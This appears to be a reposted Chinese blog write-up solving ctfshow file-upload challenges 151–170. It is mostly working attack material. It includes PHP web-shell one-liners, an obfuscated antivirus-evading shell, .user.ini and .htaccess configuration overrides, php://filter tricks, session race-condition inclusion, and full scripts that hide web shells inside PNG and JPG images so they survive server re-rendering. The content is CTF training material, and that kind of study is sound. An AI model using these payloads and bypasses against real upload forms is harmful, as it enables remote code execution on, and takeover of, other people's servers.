其他分享
首页 > 其他分享> > ctfshow 文件上传

ctfshow 文件上传

作者:互联网

文件上传

第一百五十一题

前端验证图片是否为png格式

上传png格式文件,burp捉包改为php

第一百五十二题

增加了后端MIME类型验证,客户端可控

操作同上

第一百五十三题

上传.user.ini文件覆盖php.ini文件配置

贴上官方解释:

自PHP5.3.0起,PHP支持基于每个目录的INI文件配置,如果你的PHP以模块化运行在Apache里,则用.htaccess文件有同样效果

覆盖配置让所有php页面包含文件

使用auto_prepend_file与auto_append_file在所有php页面的顶部与底部require文件
auto_prepend_file=1.png #与.user.ini配置文件同目录的php文件都会在顶部require('1.png')

上传.user.ini文件覆盖配置

image-20210520105605815

上传1.png图片马

image-20210520105655681

upload/index.php顶部包含了1.png图片马

蚁剑连接

第一百五十四题

前端验证更严格了,上传一个真正的图片绕过前端

后端文件内容检测php关键字,短标签绕过,操作同上

第一百五十五题

同上

第一百五十六题

增加过滤[],用system直接执行系统命令

<?=system('tac ../flag*');?>
第一百五十七题

增加过滤分号

去掉分号执行系统命令

第一百五十八题

同上

第一百五十九题

增加过滤括号

反引号执行系统命令

第一百六十题

增加过滤反引号,include配合php伪协议读取源码

<?=include"ph"."p://filter/read=convert.base64-encode/resource=../flag.ph"."p"?> #php被过滤,用拼接符绕过
第一百六十一题

增加检测文件头,貌似只能是GIF89a文件头

GIF89a
auto_prepend_file=1.png

GIF89a
<?=include"ph"."p://filter/read=convert.base64-encode/resource=../flag.ph"."p"?>
第一百六十二题

增加过滤了点

配合条件竞争包含session文件

上传.user.ini覆盖配置

GIF89a
auto_prepend_file=/tmp/sess_png

构造数据包:

<!DOCTYPE html>
<html>
<body>
<form action="http://4a84e096-b0bf-44c0-92b7-c99eaf3f3d02.challenge.ctf.show:8080/upload/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
    session_start();
?>

burp捉包修改参数PHPSESSID与PHP_SESSION_UPLOAD_PROGRESS值

image-20210520155111600

条件竞争包含临时文件来生成info.php文件

image-20210520155357260

详参:https://kiityl.github.io/2021/05/19/ctfshow-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/#%E7%AC%AC%E5%85%AB%E5%8D%81%E4%BA%8C%E9%A2%98

第一百六十三题

同上

第一百六十四题

download.php存在文件包含,上传图片马配合文件包含

上传的图片经过了二次渲染,相当于写入图片的代码被过滤

运行脚本生成绕过二次渲染的png图片

<?php
/*<?$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');
?>

安装gd库运行脚本

sudo apt-get update
sudo apt-get install php-gd
php 脚本名  #生成图片内含代码<?$_GET[0]($_POST[1]);?>

上传图片,包含图片,burp捉包POST命令

image-20210520165339732

二次渲染可参考:https://blog.csdn.net/qq_40800734/article/details/105920149

第一百六十五题

绕过二次渲染的jpg脚本:

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?=eval($_POST[1]);?>';


	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

用法:

先上传一张jpg图片,并把上传的图片下载到本地
php 脚本名 下载到本地的图片名 

上传图片,包含图片,burp捉包POST执行命令(或蚁剑连接)

image-20210520171025269

这里贴一张能用的图片:
1

第一百六十六题

只能上传zip后缀文件

一句话改为zip后缀上传,配合文件包含getshell

上传文件(此处mime类型为application/zip无法上传成功,application/x-zip-compressed上传成功):

image-20210520173916950

文件包含,burp捉包POST执行命令

image-20210520174046374

第一百六十七题

没有文件包含漏洞配合使用,apache服务器上传.htaccess文件覆盖apache配置

AddType application/x-httpd-php .php .phtml .php3 .png 把png文件当作php文件解析
AddHandler php5-script php  当文件名中出现php关键字时,文件中的内容会被当中代码执行
<FilesMatch "ajest">
  SetHandler application/x-httpd-php
</FilesMatch>  匹配文件名,当文件名为ajest时,里面的代码会被执行

上传.htaccess文件,上传jpg木马getshell

image-20210520180635731

第一百六十八题

常见的一句话木马无法上传,上传了的也无法执行

免杀一句话:

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

上传免杀一句话

image-20210520205230764

执行代码

image-20210520205516670

第一百六十九题

MIME类型改为image/png可以成功上传文件

文件内容过滤了尖括号

上传.user.ini包含日志文件

image-20210520211249772

上传一个php文件,用于包含日志文件

image-20210520211406946

写入一句话到日志

image-20210520211621384

执行代码(可蚁剑连接)

image-20210520212047620

第一百七十题

同上

还可以配合条件竞争包含session文件

上传.user.ini文件包含session文件

image-20210520213746554

上传index.php用于包含文件

本地构造数据包

image-20210520213723690

条件竞争生成一句话木马

image-20210520213818825

详参:https://kiityl.github.io/2021/05/19/ctfshow-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/#%E7%AC%AC%E5%85%AB%E5%8D%81%E4%BA%8C%E9%A2%98

标签:文件,binData,ctfshow,php,上传,png,dis
来源: https://blog.csdn.net/njqfb/article/details/117574373